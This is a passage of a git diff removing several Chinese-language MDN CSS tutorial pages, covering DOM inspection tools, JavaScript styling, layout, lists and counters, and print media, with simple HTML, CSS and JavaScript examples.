    注意:  HTML 文件中的空格在 DOMi 中会显示为一些空的文本结点,你可以直接忽略掉它。

    - -

    通过展开元素结点,你可能会看到下面这样的一部分内容:

    - -
    │ ▼╴P
    -│ │ │ ▼╴STRONG
    -│ │ └#text
    -│ ├╴#text
    -│ ►╴STRONG
    -│ │
    - -

    选择任何元素都可以在 DOMi 右边的面板中找到关于这个元素更详细的信息。例如,当你选择一个文本结点的时候,右边面板中会显示这个结点的文本信息。

    - -

    如果你选择的结点是一个元素,那么 DOMi 会分析这个元素,并在右边面板中展示关于它的一大堆信息内容。同时,样式信息只是这些内容的一部分罢了。 

    -
  6. -
- -
-
挑战
- -

在 DOMi 中,点击一个 STRONG 结点。

- -

在 DOMi的右边面板中找出,设置此结点颜色为红色的地方和设置结点内容加粗的地方。 

- -
-
Possible solution
- -

In the menu above the right-hand pane, choose CSS Rules. You see two items listed, one that references an internal resource and one that references your stylesheet file. The internal resource defines the font-weight property as bolder; your stylesheet defines the color property as red.

-Hide solution
-查看挑战的解决方案
- -

使用 Web X-Ray Goggles

- -

Web X-Ray Goggles 显示的信息内容相比较 DOM Inspector要少, 但是它安装和使用的步骤更简单。

- -

到 Web X-Ray Goggles的主页。

- -
    -
  1. 将页面中的书签链接拖拽到浏览器工具栏。
  2. -
  3. 打开你的示例 HTML 文档。
  4. -
  5. 通过点击工具栏中的相应书签来激活Web X-Ray Goggles。 
  6. -
  7. 通过在文档中移动鼠标箭头来查看相应的文档元素。
  8. -
- -

What next?

- -

{{ nextPage("/zh-CN/docs/CSS/开始/Cascading_and_inheritance", "层叠和继承") }}如果你做过上文中的练习,你会发现不同位置的style样式是相互影响共同生成了元素的最终展现。在 下一章 中将会深入解释这种相互联系和相互影响。

diff --git a/files/zh-cn/web/guide/css/getting_started/index.html b/files/zh-cn/web/guide/css/getting_started/index.html deleted file mode 100644 index 585243aa2a..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: CSS入门教程 -slug: Web/Guide/CSS/Getting_started -tags: - - CSS - - 'CSS:Getting_Started' - - CSS入门 - - CSS教程 - - Web - - 初学者 - - 教程 -translation_of: Learn/CSS/First_steps -translation_of_original: Web/Guide/CSS/Getting_started ---- -

 

- -

该  CSS 指南  将会带你进入  层叠样式表  (CSS)的世界。本指南将通过实例来引导你学习语言的基本功能(你可以在自己的电脑上运行这些实例),指南还将阐明能够运行在现代浏览器上的 CSS 标准功能。

- -

本指南适合 CSS 的初学者,但如果你已经学会了 CSS 的基本知识,该指南对你也会有所帮助。若你对 CSS 的经验十分丰富,那么本指南就不适合你了,CSS 主页  列出了  更多的高级资源。

- - - -

在开始学习之前你需要准备什么?

- -
    -
  • 一个文本编辑器
  • -
  • 一个现代浏览器
  • -
  • 编辑器与浏览器的基本使用方法
  • -
- -

虽然没有这个要求,但是教程中的练习可以帮助你学习。你也可以只阅读教程、图片,但这是一种效率很低的学习方式。

- -

注意: 教程包括了CSS操作颜色的方法。因此指南的某些部分会依赖颜色。要想更容易的学习这些内容,你需要一个彩色显示器与正常色觉

- -

如何使用本指南

- -

在使用本指南时,需要按顺序仔细阅读每页的内容。如果跳过某个页面,可能会难以理解后续内容。

- -

第一部分:CSS基础

- -

在每页中,通过资料 部分来了解 CSS 的工作原理。通过实践 部分来试着在你的计算机上使用 CSS。

- -

为了测试你对指南的理解程度,可以完成页面底部的挑战内容。挑战内容下面提供了答案的链接,这样你不想看答案的时候没有必要去看它们。

- -

为了深入了解 CSS,可以阅读以更多资料 为标题的方框中内容。你会从其中的超链接里找到更多 CSS 参考资料。

- -

第二部分:CSS的应用范围

- -

指南的第二部分提供了多个实例,用于展示 CSS 与 web 和 Mozilla 的其他技术的使用范围。

- -
    -
  1. JavaScript
  2. -
  3. SVG 图形
  4. -
  5. XML 数据
  6. -
  7. XBL bindings
  8. -
  9. XUL 用户界面
  10. -
- -

 

diff --git a/files/zh-cn/web/guide/css/getting_started/javascript/index.html b/files/zh-cn/web/guide/css/getting_started/javascript/index.html deleted file mode 100644 index 1f53ff70ba..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/javascript/index.html +++ /dev/null @@ -1,172 +0,0 @@ ---- -title: JavaScript 与 CSS -slug: Web/Guide/CSS/Getting_started/JavaScript -translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents -translation_of_original: Web/Guide/CSS/Getting_started/JavaScript ---- -

{{ CSSTutorialTOC() }}

- -

本文是 CSS tutorial 第二部分的第一章节。第二部分的内容主要是一些css和其他web技术的使用范例。 

- -

第二部分的内容主要来向你展示CSS是如何同其他技术进行交互的。但是这样做的目的并不是教你如何使用这些技术,如果你想深入学习,可以查找具体的文档。

- -

换句话说,这些页面是用来向你展示CSS的多种用途的。通过这些页面,你不需要掌握其他技术就可以获取到很多CSS的相关知识。

- -

上一章 (Part I): Media
- 下一章: SVG

- -

相关知识: JavaScript

- -

JavaScript是一种编程语言,它被广泛用来实现web站点和应用中的交互效果。

- -

JavaScript可以同样式进行交互,你可以通过编写程序来动态改变文档上元素的样式。 

- -

有三种方法可以实现这样的效果:

- -
    -
  • 控制样式表—可以添加、删除、修改样式表。
  • -
  • 控制样式规则—可以添加、删除、修改样式规则。
  • -
  • 控制DOM中的单个元素—可以不依赖样式表来修改元素样式。
  • -
- - - - - - - - -
更多细节
要了解 JavaScript的更多细节,可以到这个wiki JavaScript 。
- -

范例: 一个JavaScript的实例

- -

新建一个doc5.html的页面,把下面的代码复制粘贴进入,注意要保证保存了所有的代码:

- -
-
<!DOCTYPE html>
-<html>
-
-<head>
-<title>Mozilla CSS Getting Started - JavaScript demonstration</title>
-<link rel="stylesheet" type="text/css" href="style5.css" />
-<script type="text/javascript" src="script5.js"></script>
-</head>
-
-<body>
-<h1>JavaScript sample</h1>
-<div id="square"></div>
-<button>Click Me</button>
-
-</body>
-</html>
-
-
- -

新建一个CSS文件style5.css,复制粘贴下面的样式代码到文件中:

- -
-
  #square {
-
-      width: 20em;
-
-      height: 20em;
-
-      border: 2px inset gray;
-
-      margin-bottom: 1em;
-
-  }
-
-  button {
-
-      padding: .5em 2em;
-
-  }
-
- -

新建一个JavaScript文件script5.js,复制粘贴下面的代码到文件中:

- -
-
// JavaScript demonstration
-var changeBg = function (event) {
-    console.log("method called");
-    var me = event.target
-    ,   square = document.getElementById("square");
-    square.style.backgroundColor = "#ffaa44";
-    me.setAttribute("disabled", "disabled");
-    setTimeout(function () { clearDemo(me) }, 2000);
-}
-
-function clearDemo(button) {
-    var square = document.getElementById("square");
-    square.style.backgroundColor = "transparent";
-    button.removeAttribute("disabled");
-}
-
-window.onload = function() {
-    var button = document.querySelector("button");
-    button.addEventListener("click", changeBg);
-    console.log(button);
-}
-
- -

用浏览器打开HTML文件并点击按钮。

- -

这里有在线的示例:Here is the Live Example

- - - - - - - - -
- - - - - - -
-

JavaScript demonstration

-
-
- - - - - - -
-

JavaScript demonstration

-
-
- -
重要提示 : - -
    -
  • HTML文档中外链了CSS文件和JavaScript文件。
  • -
  • 脚本直接修改了DOM元素的样式,通过修改属性值来改变按钮的样式。
  • -
  • 在JavaScript中document.getElementById("square") 在功能上同 CSS 选择器 #square的功能是类似的。
  • -
  • 在 JavaScript代码中, backgroundColor 对应于CSS 属性background-color。因为JavaScript中不允许在命名中出现中划线,所以采用了驼峰式,的写法来做替代。
  • -
  • 浏览器针对button有内置的CSS规则  button{{ mediawiki.external('disabled=\"true\"') }} ,这会导致按钮在不可点击状态下的显示样式跟预期有出入。
  • -
-
- - - - - - - - -
挑战
修改脚本代码实现如下效果:当颜色改变的时候让方块跳至右侧20em的距离,然后再恢复到原来的位置。
- -

这里有一个解决方案示例:See a solution to this challenge.

- -

下一步做什么呢?

- -

如果你对本页内容有疑问,或者有其他想法,欢迎到 Discussion 页面进行讨论。

- -

在示例中,尽管只有button元素使用了脚本代码,但是HTML文档还是i需要外链一个脚本文件。Mozilla 对CSS做了扩展,让它可以为选择元素引用JavaScript代码 (也可以使内容或者其他样式表文件) 。下篇文章会对此有详细说明: XBL bindings

diff --git a/files/zh-cn/web/guide/css/getting_started/layout/index.html b/files/zh-cn/web/guide/css/getting_started/layout/index.html deleted file mode 100644 index ecd91f80e1..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/layout/index.html +++ /dev/null @@ -1,368 +0,0 @@ ---- -title: 布局 -slug: Web/Guide/CSS/Getting_started/Layout -translation_of: Learn/CSS/CSS_layout -translation_of_original: Web/Guide/CSS/Getting_started/Layout ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/CSS/开始/Boxes", "盒模型")}}本文是 CSS入门教程 的第12部分; 主要讲述一些修改页面布局的方法。 你可以通过学习来修改自己示例的布局。

- -

说明: 布局

- -

你可以通过 CSS 来设置布局的炫酷效果。其中所涉及的部分高阶技术并不是本文范畴。

- -

当你设计一个简单布局时, 你的样式表与浏览器默认样式表之间的交互、以及与布局引擎的交互都是相当复杂的。 这也是一个高阶话题,并不在本文范畴。

- -

本文主要介绍一些简单的布局方法。(高阶技术请参阅外部链接 学习高级布局

- -

文档结构

- -

当你想控制文档布局时,就不得不改变它的结构。

- -

页面标记语言通常都会有公共标签来创建结构。例如, 在 HTML 中你可以使用 {{ HTMLElement("div") }} 元素来创建结构。

- -
-
示例
- -

在你的示例中, 编号段落并没有自己的容器。

- -

你的样式表无法为这些段落画出边框,因为没有选择器指向它们。

- -

为了解决这个问题, 你可以在段落之外添加一个{{ HTMLElement("div") }} 。这个标签是唯一的,可以指定一个id属性来标识:

- -
<h3>Numbered paragraphs</h3>
-<div id="numbered">
-  <p>Lorem ipsum</p>
-  <p>Dolor sit</p>
-  <p>Amet consectetuer</p>
-  <p>Magna aliquam</p>
-  <p>Autem veleum</p>
-</div>
-
- -

现在可以通过样式表在每个列表周围画出边框了:

- -
ul, #numbered {
-  border: 1em solid #69b;
-  padding-right:1em;
-}
-
- -

运行结果如下:

- - - - - - - -
-

(A) The oceans

- -
-
    -
  • Arctic
  • -
  • Atlantic
  • -
  • Pacific
  • -
  • Indian
  • -
  • Southern
  • -
-
- -

(B) Numbered paragraphs

- -
-

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
-
-
- -

大小单位

- -

到目前为止,你可以通过像素来指定大小。这在有些情况下是非常合适的,比如电脑屏幕显示。 但当用户改变字体大小之后,你的布局可能会发生错位。

- -

因此,最好通过百分比或 ems (em) 来指定大小。 em 通常是指当前字体大小(字母m的宽度)。当用户改变字体大小时,你的布局会自己修正。

- -
-
示例
- -

文本左边的border通过像素来指定大小。

- -

文本右边的border通过 ems来指定大小。

- -

在你的浏览器中,修改字体大小,会发现右边的border会自己修正大小而左边的不会。:

- - - - - - - -
-
RESIZE ME PLEASE
-
-
- -
-
更多详情
- -

对于其它设备,其它的长度单位可能更合适。

- -

在本指南中会有其它篇幅详细介绍这一点。

- -

更多详情参见CSS说明中 Values .

-
- -

文本布局

- -

有两个属性可以指定元素内容的对齐方式。你可以用它们来进行简单的布局:

- -
-
{{ cssxref("text-align") }}
-
内容对齐。 可以使用下面几个值: left, right, center, justify
-
{{ cssxref("text-indent") }}
-
指定内容缩进。
-
- -

这两个属性可以应用于任何文本类内容,不只是纯文本。 需要注意的是,它们会被元素的子元素继承, 所以需要在子元素中将它们关闭,以免出现意想不到的效果。

- -
-
示例
- -

标题居中:

- -
h3 {
-  border-top: 1px solid gray;
-  text-align: center;
-}
-
- -

输出结果:

- - - - - - - -
-

(A) The oceans

-
- -

在 HTML 文档中, 标题之后的内容并不属于标题。当你对齐一个标题时,其后的元素不会继承该样式。

-
- -

浮动

- -

 {{ cssxref("float") }} 属性强制元素靠左或靠右。 这是控制元素位置和大小的简单方法。

- -

本文剩下部分都是围绕浮动元素展开。你可以使用 {{ cssxref("clear") }} 属性来避免其它元素受到浮动效果的影响。

- -
-
示例
- -

在你的示例中,list是根据窗口拉伸。你可以通过使用浮动元素来使它们靠左。

- -

为了保证标题在正确的位置, 你必须为标题指定clear属性来避免标题靠左:

- -
ul, #numbered {float: left;}
-h3 {clear: left;}
-
-
- -

运行结果如下:

- - - - - - - -
-

(A) The oceans

- -
-
    -
  • Arctic
  • -
  • Atlantic
  • -
  • Pacific
  • -
  • Indian
  • -
  • Southern
  • -
-
- -

(B) Numbered paragraphs

- -
-

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
-
- -

(box右侧需要增加一些padding ,防止文本与边框太近)

- -

位置

- -

你可以为一个元素指定  {{ cssxref("position") }} 属性为以下值之一,来设置其位置。

- -

这些是高阶属性。 可以通过简单的方式来使用它们—这也是在基础教程里提到它们的原因。但使用它们来实现复杂的布局会相对困难一些。

- -
-
relative
-
通过为元素指定一个值,元素相对于其原来位置移动。也可以使用margin来达到同样的效果。
-
fixed
-
为元素指定相对于窗口的确切位置 。即使文档的其它元素出现滚动,元素位置仍然不变。
-
absolute
-
为元素指定相对于其父元素的确切位置。只有在父元素使用 relative, fixed or absolute 时才有效。你可以为任何父元素指定 position: relative;因为它不会产生移动。
-
static
-
默认值。当明确要关闭位置属性时使用。
-
- -

position 属性(除了 static)一起使用的, 有下列属性: top, right, bottom, left, width, height 通过设置它们来指定元素的位置或大小。

- -
-
示例
- -

为了放置两个元素,一个在另外一个上方, 创建一个父容器来包含两个子元素:

- -
<div id="parent-div">
-  <p id="forward">/</p>
-  <p id="back">\</p>
-</div>
-
- -

在你的样式表里,将父容器的position设置为 relative。无需为它设置任何具体变动。 将子元素的position属性设置为 absolute:

- -
#parent-div {
-  position: relative;
-  font: bold 200% sans-serif;
-}
-
-#forward, #back {
-  position: absolute;
-  margin:0px; /* no margin around the elements */
-  top: 0px; /* distance from top */
-  left: 0px; /* distance from left */
-}
-
-#forward {
-  color: blue;
-}
-
-#back {
-  color: red;
-}
-
- -

输出结果如下,反斜杠显示在斜杠上方

- -
-

/

- -

\

-
- - - - - - - -
 
-
- -
-
更多详情
- -

更多详情的postion说明在 CSS Specification 中占用了两个章节: Visual formatting modelVisual formatting model details.

- -

如果你的样式表工作在多种浏览器环境下,你会发现不同浏览器对标准协议的解释会有很多不同, 而且特定浏览器的特定版本可能存在BUG。

-
- -

实践: 设置布局

- -
    -
  1. 修改示例文档, doc2.html, 和样式表, style2.css, 使用之前的示例 文档结构 and 浮动.
  2. -
  3. 浮动 示例中, 添加padding 来分离文本和右侧border ,值设为0.5 em.
  4. -
- -
-
挑战
- -

修改示例文档, doc2.html, 在文档末尾添加一个标签, 注意在</body>之前。

- -
<img id="fixed-pin" src="Yellow-pin.png" alt="Yellow map pin">
-
- -

如果你在之前的教程中没有下载过该图片, 现在下载, 将它与示例文件放在同一目录下:

- - - - - - - -
Image:Yellow-pin.png
- -

预测一下你的图片将会出现在哪里,然后刷新浏览器验证一下。

- -

在样式表中添加一条规则,将图片显示在文档右上角。

- -

刷新浏览器并把窗口拉小。 查看图片是否在右上角,拖动容器大小,再次查看。

- -
-
-

(A) The oceans

- -
-
    -
  • Arctic
  • -
  • Atlantic
  • -
  • Pacific
  • -
  • Indian
  • -
  • Southern
  • -
-
- -

(B) Numbered paragraphs

- -
-

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
- -

 

- -
Yellow map pin
-
-
-
- -

 查看该挑战的解决方案

- -

接下来是什么?

- -

{{ nextPage("/zh-CN/docs/CSS/开始/Tables", "表格") }}你几乎已经学习了这篇CSS基本教程的所有主题。接下来将描述更多CSS规则的高级选择器,以及你可以用来展示表格的一些特定方法。

diff --git a/files/zh-cn/web/guide/css/getting_started/lists/index.html b/files/zh-cn/web/guide/css/getting_started/lists/index.html deleted file mode 100644 index 8a85655517..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/lists/index.html +++ /dev/null @@ -1,324 +0,0 @@ ---- -title: Lists -slug: Web/Guide/CSS/Getting_started/Lists -translation_of: Learn/CSS/Styling_text/Styling_lists -translation_of_original: Web/Guide/CSS/Getting_started/Lists ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Content", "内容") }} 这是CSS入门教程 教程的第10部分; 它将向你描述你如何用CSS来指定列表的外观. 你将创建一个新的包含列表的示例文件,和一个新的定义列表的样式表。

- -

信息: 列表

- -

如果你完成了上一节的挑战任务,你就知道如何在列表项前面插入内容。

- -

CSS为列表提供了专门的属性。如果可以,使用这些属性通常会比较方便。

- -

使用{{ cssxref("list-style") }} 属性来指定列表项标记的样式。

- -

你的CSS中的选择器可以选中列表项 (比如, {{ HTMLElement("li") }})。也可以选中列表项的父节点 (比如, {{ HTMLElement ("ul") }})。此时列表项会继承父节点的样式。

- -

无序列表

- -

无序列表的每个列表项都用同样的方式标记。

- -

CSS 有三种标记样式:

- -
    -
  • disc
  • -
  • circle
  • -
  • square
  • -
- -

你可以指定一个图片的URL来自定义标记样式。

- -
-
- -

下面的规则为不同类的列表项指定了不同的标记:

- -
li.open {list-style: circle;}
-li.closed {list-style: disc;}
-
- -

这些类被用于列表项时,用以区分打开和关闭的列表项 (比如,在一个待办事项列表中):

- -
<ul>
-  <li class="open">Lorem ipsum</li>
-  <li class="closed">Dolor sit</li>
-  <li class="closed">Amet consectetuer</li>
-  <li class="open">Magna aliquam</li>
-  <li class="closed">Autem veleum</li>
-</ul>
-
- -

结果:

- - - - - - - -
-
    -
  • Lorem ipsum
  • -
  • Dolor sit
  • -
  • Amet consectetuer
  • -
  • Magna aliquam
  • -
  • Autem veleum
  • -
-
-
- -

有序列表

- -

在有序列表中,每个列表项都被标记了不同的序号。

- -

用{{ cssxref("list-style") }} 属性指定标记样式:

- -
    -
  • decimal
  • -
  • lower-roman
  • -
  • upper-roman
  • -
  • lower-latin
  • -
  • upper-latin
  • -
- -
-
- -

这条规则指定类名包含info的{{ HTMLElement("ol") }} 元素的列表项用大写字母标序

- -
ol.info {list-style: upper-latin;}
-
- -

{{ HTMLElement("li") }} 元素继承了ol的样式:

- - - - - - - -
-
    -
  • Lorem ipsum
  • -
  • Dolor sit
  • -
  • Amet consectetuer
  • -
  • Magna aliquam
  • -
  • Autem veleum
  • -
-
-
- -
-
更多细节
- -

{{ cssxref("list-style") }} 属性是一个快捷写法。在复杂的样式表中你可能更希望用单独的属性设置不同的属性值。欲查看这些单独的属性和更详细的CSS指定列表的方法,见 {{ cssxref("list-style") }}参考页。

- -

如果你使用如HTML这类提供了方便的无序列表 ({{ HTMLElement("ul") }}) 和有序列表({{ HTMLElement("ol") }})的标记语言,就尽量使用这些标签。当然,你完全可以将 {{ HTMLElement("ul") }} 显示成有序列表,将 {{ HTMLElement("ol") }} 显示成无序列表。

- -

浏览器实现列表样式略有不同。不要奢望样式表可以让列表在所有浏览器中显示的完全一样。

-
- -

计数器

- -
-

注意:  一些浏览器不支持计数器。Quirks Mode site 的CSS contents and browser compatibility 页有更多这方面的兼容表格可以参考。 CSS Reference 也有浏览器兼容性表格。

-
- -

你可以用计数器来计数任何元素,不仅是列表元素。比如,在某些文档中你可能想计数标题和段落。

- -

要想计数,你必须定义一个计数器。

- -

在计数开始前的某个元素上,设置 {{ cssxref("counter-reset") }}属性以重置计数器。被计数元素的父节点是一个不错的选择。当然,任何出现在被计数元素前面的元素都可以。

- -

设置每个需要计数的元素的{{ cssxref("counter-increment") }} 属性为你的计数器名。

- -

通过为选择器增加 {{ cssxref(":before") }} 或 {{ cssxref(":after") }} 并设置 content 属性来显示计数器。 (如上一节所示, 内容).

- -

content属性的值中设置 counter(),在括号内填上计数器的名字。可选的是设置计数器类型。其类型和前面一节 有序列表 中相同。

- -

正常情况下,显示计数器的元素也会递增计数器。

- -
-
- -

这条规则会为每个类名中包含numbered的{{ HTMLElement("h3") }} 元素初始化计数器 mynum:

- -
h3.numbered {counter-reset: mynum;}
-
- -

 

- -

这条规则为每个类名包含numbered的{{ HTMLELement("p") }}元素显示并递增计数器:

- -
p.numbered:before {
-  content: counter(mynum) ": ";
-  counter-increment: mynum;
-  font-weight: bold;}
-
- -

结果:

- - - - - - - -
Heading - -

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
-
- -
-
更多细节
- -

除非所有看你文档的人的浏览器都支持计数器,否则你不能使用计数器。

- -

如果你可以使用计数器,那么你可以单独设置计数器的样式。如上面例子所示:计数器是粗体,但列表不是。

- -

你还可以用更复杂的方式使用计数器。比如,计数章节, 标题, 子标题以及段落。详见CSS规范中的 Automatic counters and numbering 。

-
- -

实例: 设计列表样式

- -

新建doc2.html:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="UTF-8">
-    <title>Sample document 2</title>
-    <link rel="stylesheet" href="style2.css">
-  </head>
-  <body>
-
-    <h3 id="oceans">The oceans</h3>
-    <ul>
-      <li>Arctic</li>
-      <li>Atlantic</li>
-      <li>Pacific</li>
-      <li>Indian</li>
-      <li>Southern</li>
-    </ul>
-
-    <h3 class="numbered">Numbered paragraphs</h3>
-    <p class="numbered">Lorem ipsum</p>
-    <p class="numbered">Dolor sit</p>
-    <p class="numbered">Amet consectetuer</p>
-    <p class="numbered">Magna aliquam</p>
-    <p class="numbered">Autem veleum</p>
-
-  </body>
-</html>
-
- -

新建style2.css

- -
/* numbered paragraphs */
-h3.numbered {counter-reset: mynum;}
-
-p.numbered:before {
-  content: counter(mynum) ": ";
-  counter-increment: mynum;
-  font-weight: bold;
-}
-
- -

如果布局和注释不符合你的口味,随便改。

- -

在浏览器中打开。如果你的浏览器支持计数器,你将看到下面的样子。如果不支持,你将看不到数字序号。 (甚至冒号都看不到):

- - - - - - - -
-

The oceans

- -
    -
  • Arctic
  • -
  • Atlantic
  • -
  • Pacific
  • -
  • Indian
  • -
  • Southern
  • -
- -

Numbered paragraphs

- -

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
- -
-
挑战
- -

增加一条规则,用罗马数字i到v计数大洋的名字

- - - - - - - -
-

The oceans

- -
    -
  • Arctic
  • -
  • Atlantic
  • -
  • Pacific
  • -
  • Indian
  • -
  • Southern
  • -
-
- -

 

- -

修改样式,将标题用大写字母加括号的方式标序:

- - - - - - - -
-

(A) The oceans

- -

. . .

- -

(B) Numbered paragraphs

- -

. . .

-
-
- -

答案

- -

接下来?

- -

{{ nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Boxes", "盒模型") }}浏览器显示你的样例文档,在将元素放置在页面上时,会在元素周围创建空间。下一章节将向你描述如何使用CSS来和元素下的形状一起工作,元素下的形状我们称为盒子boxes)。

- -

 

diff --git a/files/zh-cn/web/guide/css/getting_started/media/index.html b/files/zh-cn/web/guide/css/getting_started/media/index.html deleted file mode 100644 index ef181eedcc..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/media/index.html +++ /dev/null @@ -1,391 +0,0 @@ ---- -title: 媒体 -slug: Web/Guide/CSS/Getting_started/Media -translation_of: Web/Progressive_web_apps/Responsive/Media_types ---- -

{{CSSTutorialTOC}} {{previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Tables", "表格")}}

- -

本章节是 CSS入门教程 指南的第14章也是最后一部分。 这本指南主要描述了用来展示文档的CSS的属性及其值,本章节依旧着眼于这个目标,同时也会介绍CSS样式表的结构。

- -

信息: Media

- -

CSS的作用是将网页文档以更友好的展现方式呈现给用户。

- -

例如,假设你现在正用一台显示设备来阅读这篇文章,同时你也想把它投影到屏幕上,或者打印出来,而显示设备、屏幕投影和打印等这些媒介都有自己的特点,CSS就是为文档提供在不同媒介上展示的适配方法。

- -

CSS通过使用{{CSSXref("@media")}} 的格式来对特定的媒介指定适配规则。

- -
-
示例
- -

我们的站点上有一个导航区域允许用户浏览。

- -

在标签语言中,导航区域父元素的id是 nav-area.(在 {{HTMLVersionInline(5)}}中, 可以使用 {{HTMLElement("nav")}} 元素代替带有id属性的 {{HTMLElement("div")}}。)

- -

为了网页在被打印的时候去掉无用的信息,我们在样式表中加一条适配规则,使导航区域在打印时是被隐藏起来的:

- -
@media print {
-  #nav-area {display: none;}
-  }
-
-
- -

一些常见的媒介类型:

- - - - - - - - - - - - - - - - - - - - -
screen彩色计算机显示
print打印(分页式媒体)
projection投影
all所有媒体 (默认)
- -
-
更多
- -

一些其他指定媒介类型的规则。

- -

类型可以在样式表通过link方式加到文档时被指定,这是文档的标签语言允许的 。例如,在HTML中,你可以通过在 LINK 标签上添加media属性来指定媒介类型。

- -

在CSS中,你可以在样式表开头使用 {{CSSXref("@import")}} 一个url来引入另外的样式表,同时指定其媒介类型。

- -

根据这些知识,你可以区分在不同的文件中定义不同媒介的样式规则。有时这也是结构化样式表的好方法。

- -

想获取媒介类型更多细节,请参考CSS规范中的 Media 部分。

- -

接下来将介绍更多 {{cssxref("display")}} 属性的例子: XML data.

-
- -

打印

- -

CSS有一些特性能够支持打印和分页媒体。

- -

 {{cssxref("@page")}} 规则能够设置页间距,对于双面打印,还可以分开设置 @page:left 和 @page:right。

- -

对于打印媒介,可以使用适当的长度单位,像是英寸(in)、点(1pt = 1/72 inch)、厘米(cm)还有毫米(mm)。这等同于使用em来配合字体大小和百分比。

- -

可以通过使用 {{cssxref("page-break-before")}}, {{cssxref("page-break-after")}} 和 {{cssxref("page-break-inside")}} 属性来控制文档内容的分页边界。

- -
-
示例
- -

这个规则把四个方向的页边距都设置为1 inch:

- -
@page {margin: 1in;} 
- -

这个规则确保每个H1元素都从新的一页开始:

- -
h1 {page-break-before: always;}
-
-
- -
-
更多细节
- -

想获取更多细节,请参考CSS规范中的 Paged media 部分。

- -

像CSS的其他特性一样,打印也依赖于你的浏览器及其设置。例如,在打印的时候Mozilla浏览器支持默认的间距,页眉和页脚。而当其他用户打印你的文档时,你无法预知他会使用的什么样的浏览器和设置,因此你也不能完全控制打印情况。

-
- -

用户界面

- -

CSS有一些特殊的属性能够支持设备的用户界面,像电脑显示器。这使得文档的展示随着用户界面的情况而动态地变化。

- -

并没有针对用户界面设备的特殊媒介类型。

- -

下面有五种特殊的选择器:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SelectorSelects
E{{cssxref(":hover")}}当鼠标悬浮任何E元素上
E{{cssxref(":focus")}}当元素获得键盘焦点
E{{cssxref(":active")}}当元素是当前的活动元素
E{{cssxref(":link")}}当元素超链接到一个url但是用户还没有访问过
E{{cssxref(":visited")}}当元素超链接到一个url但是用户已经访问过
- -
-

注意: 在 {{gecko("2.0")}} 中可获得的 :visited 选择器信息是有限的。更过细节请参照 Privacy and the :visited selector 。

-
- -

 {{cssxref("cursor")}} 属性指定鼠标的形状:一些常见的形状如下表所示。把你的鼠标放在列表的选项上来看浏览器中实际显示的鼠标形状:

- - - - - - - - - - - - - - - - - - - - - - - - -
SelectorSelects
pointer指示超链接
wait表明程序无法接受输入
progress表明程序正在运行,但是仍可以接受输入
default默认(通常是箭头)
- -

 {{cssxref("outline")}} 属性通过创建轮廓来表明获得键盘焦点。只有在父元素使用 relative, fixed or absolute 时才有效。你可以为任何父元素指定 position: relative;因为它不会产生移动。
- 它的作用相当于 {{cssxref("border")}} 属性,但与其不同的是它不能指明个别方向。

- -

一些其他的用户界面特性通常会通过属性来应用。例如,禁用或者只读的元素可以设置 disabled 属性和 readonly 属性。选择器可以通过方括: {{mediawiki.external('disabled')}} 或者 {{mediawiki.external('readonly')}}来指定这些属性。

- -
-
示例
- -

这些规则规定了按钮在用户使用时动态变化的样式:

- -
.green-button {
-  background-color:#cec;
-  color:#black;
-  border:2px outset #cec;
-  }
-
-.green-button[disabled] {
-  background-color:#cdc;
-  color:#777;
-  }
-
-.green-button:active {
-  border-style: inset;
-  } 
- -

这个wiki不支持页面上的用户界面,所以这些按钮不能点击。下面用一些静态图片来举例说明:

- - - - - - - -
- - - - - - - - - - - - - - - - -
Click MeClick MeClick Me
 
disablednormalactive
-
- -

当一个功能性按钮初始化的时候,它的周围会围绕着一条黑色的轮廓。当它获取键盘焦点时,从表面上看有一条虚线轮廓。同时当鼠标悬浮在它上面时也有一些悬浮效果。

-
- -
-
更多
- -

获取更多关于CSS用户界面的信息,请参考CSS规范中的 User interface 部分。

- -

本文的第二部分列举了Mozilla的用户界面标签语言的例子,XUL。

-
- -

实践: 打印文档

- -
    -
  1. 创建一个新的HTML文档, doc4.html. 把下面的HTML代码粘贴过去: - -
    <!DOCTYPE html>
    -<html>
    -  <head>
    -    <title>Print sample</title>
    -    <link rel="stylesheet" href="style4.css">
    -  </head>
    -  <body>
    -    <h1>Section A</h1>
    -    <p>This is the first section...</p>
    -    <h1>Section B</h1>
    -    <p>This is the second section...</p>
    -    <div id="print-head">
    -      Heading for paged media
    -    </div>
    -    <div id="print-foot">
    -      Page:
    -    </div>
    -</body>
    -</html>
    -
    -
  2. -
  3. 创建一个新的样式表, style4.css. 把下面的HTML代码粘贴过去: -
    /*** Print sample ***/
    -
    -/* defaults  for screen */
    -#print-head,
    -#print-foot {
    -  display: none;
    -  }
    -
    -/* print only */
    -@media print {
    -
    -h1 {
    -  page-break-before: always;
    -  padding-top: 2em;
    -  }
    -
    -h1:first-child {
    -  page-break-before: avoid;
    -  counter-reset: page;
    -  }
    -
    -#print-head {
    -  display: block;
    -  position: fixed;
    -  top: 0pt;
    -  left:0pt;
    -  right: 0pt;
    -
    -  font-size: 200%;
    -  text-align: center;
    -  }
    -
    -#print-foot {
    -  display: block;
    -  position: fixed;
    -  bottom: 0pt;
    -  right: 0pt;
    -
    -  font-size: 200%;
    -  }
    -
    -#print-foot:after {
    -  content: counter(page);
